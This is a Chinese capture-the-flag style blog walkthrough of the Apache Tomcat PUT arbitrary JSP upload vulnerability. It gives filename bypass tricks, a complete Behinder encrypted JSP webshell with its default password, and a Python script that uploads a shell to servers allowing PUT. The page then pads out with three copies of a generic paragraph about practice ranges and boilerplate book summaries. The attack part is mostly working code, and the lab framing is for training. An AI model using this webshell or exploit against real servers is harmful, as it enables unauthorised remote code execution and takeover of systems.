[web攻防]Tomcat 任意文件上传漏洞 安鸾靶场复现

中华人民共和国网络安全法(出版物)_360百科

目录

漏洞成因

 复现过程

 方法一 手动上传

 方法二 (只需python 环境 不需要其他工具)


漏洞成因

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
影响范围:Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)


 这里还有一个细节

其实tomcat会对上传的文件内容进行限制,比如说禁止上传 .jpg 后缀的文件,只不过,这个过滤机制可以通过一些windows 或着 linux的特性绕过。

  • Windows下不允许文件以空格结尾

    以PUT /x.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾空格

  • WindowsNTFS流

    PUT /x.jsp::$DATA HTTP/1.1

  • /在文件名中是非法的,也会被去除(Linux/Windows)

    PUT /x.jsp/ HTTP/1.1

本次使用的是第三种方法绕过

 复现过程

靶场地址

Apache Tomcat/8.5.19

 方法一 手动上传

在首页刷新 抓包 改为如下形式

发包后返回201 这时直接访问 木马存在(直接在网站根目录 xxxx/1.jsp)

 自带马 密码为默认rebeyond

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

 连接

终端 输入查找语句

find -name *flag*

 

 方法二 (只需python 环境 不需要其他工具)

其实漏洞利用的原理都一样,这个适合那些没有工具的哥们,比如有的蚁剑没有连接jsp马的选项。。。。 如果要下冰蝎的话,只能连接它的自带马。

python 脚本

    conn = httplib.HTTPConnection(sys.argv[1])
    conn.request(method='OPTIONS', url='/ffffzz')
    headers = dict(conn.getresponse().getheaders())
    if 'allow' in headers and headers['allow'].find('PUT') > 0 :
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        url = "/" + str(int(time.time()))+'.jsp/'
        #url = "/" + str(int(time.time()))+'.jsp::$DATA'
        conn.request( method='PUT', url= url, body=body)
        res = conn.getresponse()
        if res.status  == 201 :
            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
            print 'shell:', 'http://' + sys.argv[1] + url[:-1]
        elif res.status == 204 :
            print 'file exists'
        else:
            print 'error'
        conn.close()
    else:
        print 'Server not vulnerable'

except Exception,e:
    print 'Error:', e
"~/桌面/tomcat.py" 33L, 1603B                                 33,21        底端

 慢慢传参命令执行

 

参考链接

https://blog.csdn.net/qq115399231/article/details/97371795

https://blog.csdn.net/weixin_40412037/article/details/10625557

https://zhishihezi.net/c/c7ecf406d93ed094559f1cd654950609
Tomcat任意文件写入漏洞 - Xor0ne - 博客园



作者水平有限,有任何不当之处欢迎指正。

本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法行为,后果自负! 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场为安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场为安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场为安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
### 回答1: 《Web漏洞解析与攻防实战》是一本介绍Web安全的书籍,通过深入分析和解读常见的Web漏洞,帮助读者更好地理解和防范Web应用程序的攻击。 在该书的电子版中,作者首先介绍了Web应用程序的基本原理和相关技术,包括HTTP协议、HTML、CSS、JavaScript等。之后,逐一分析了Web安全的重要性和流程,引导读者了解Web漏洞的各种类型和危害。 该书的重点之一是对常见的Web漏洞进行深入解析。其中,SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)、文件包含、文件上传漏洞等被详细讲解,涵盖了漏洞的原理、攻击方式以及防御方法等。书中通过实例和案例,帮助读者更直观地理解和应用这些知识。 此外,该书还提供了一些攻防实战的案例,分析了一些真实的Web应用程序漏洞和攻击事件,引导读者进行实践和测试。通过这些实战经验,读者可以更好地理解Web漏洞的实际应用及其对系统和用户的威胁。 值得一提的是,电子版的优势在于可以随时随地进行学习和查询,书中内容可以通过电子设备进行搜索和标注。此外,电子版还可以与其他工具和资源进行链接,方便读者深入学习和提高技能。 总的来说,《Web漏洞解析与攻防实战》是一本对于Web安全感兴趣或者从事相关工作的人士非常有价值的书籍。它通过系统的讲解和实战提升读者的技能和知识水平,并帮助他们更好地保护Web应用程序的安全。 ### 回答2: 《Web漏洞解析与攻防实战》是一本关于Web安全的电子书,本书旨在帮助读者深入了解Web漏洞攻防实战的相关知识。 首先,本书详细介绍了Web应用程序的基本架构和工作原理,让读者对Web应用程序有一个整体的认识。随后,书中重点解析了常见的Web漏洞类型,如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)、SQL注入、文件上传漏洞等。对于每种漏洞,书中都给出了详细的解释和示例代码,帮助读者理解漏洞的原理和利用方式。 为了帮助读者更好地理解漏洞的攻击和防御方法,本书还提供了大量的实战案例。这些案例涵盖了不同类型的漏洞,通过具体的场景和示例代码,引导读者进行漏洞的发现和修复。同时,书中还介绍了一些常用的漏洞扫描工具和漏洞修复技巧,帮助读者提高Web应用程序的安全性。 此外,本书还强调了Web安全的思维方式和方法论。作者提供了一些实用的安全设计原则和开发规范,让读者在Web应用程序的设计和开发过程中就能考虑安全问题,减少漏洞的产生。同时,书中还介绍了一些常见的安全防护策略,如输入验证、输出编码、会话管理等,帮助读者建立起一套完善的Web安全体系。 综上所述,《Web漏洞解析与攻防实战》是一本全面介绍Web漏洞攻防实战的电子书。通过学习本书,读者可以提高自己对Web安全的认识和理解,掌握常见Web漏洞的检测和修复技术,构建安全可靠的Web应用程序。这对于所有从事Web开发和安全工作的技术人员来说都是一本不可多得的学习资料。 ### 回答3: 《Web漏洞解析与攻防实战》是一本关于网络安全的书籍,主要讲解了Web应用程序中常见的漏洞类型以及相应的解析和防御方法。这本书适合对网络安全有一定基础和兴趣的读者阅读。 书中首先介绍了Web应用程序中的一些常见漏洞类型,例如跨站脚本攻击(XSS)、SQL注入、跨站请求伪造(CSRF)、文件上传漏洞等。对于每种漏洞类型,书中详细解析了其原理和攻击方式,并给出了相应的实例和代码分析。读者通过学习这些漏洞原理和攻击方式,可以更好地理解Web应用程序中潜在的安全风险。 接着,书中介绍了如何进行Web漏洞的防御。通过学习这些防御方法,读者可以了解如何通过编码规范、安全策略和安全工具等手段来提高Web应用程序的安全性。书中详细解析了一些常用的防御措施,例如输入验证、参数化查询、安全的会话管理等,读者可以根据自己的需要和实际情况来选择适合的防御方法。 此外,书中还介绍了一些实战场景,让读者能够将所学的知识应用到实际的漏洞攻防场景中。通过这些实战案例,读者可以更深入地理解漏洞的利用和防御过程,加深对网络安全的理解和实践能力。 总之,《Web漏洞解析与攻防实战》是一本综合性的网络安全书籍,涵盖了常见的Web漏洞类型、攻击技术和防御措施。通过阅读这本书,读者可以提高自己对Web应用程序安全的认识和技能,从而更好地保护自己的网络安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值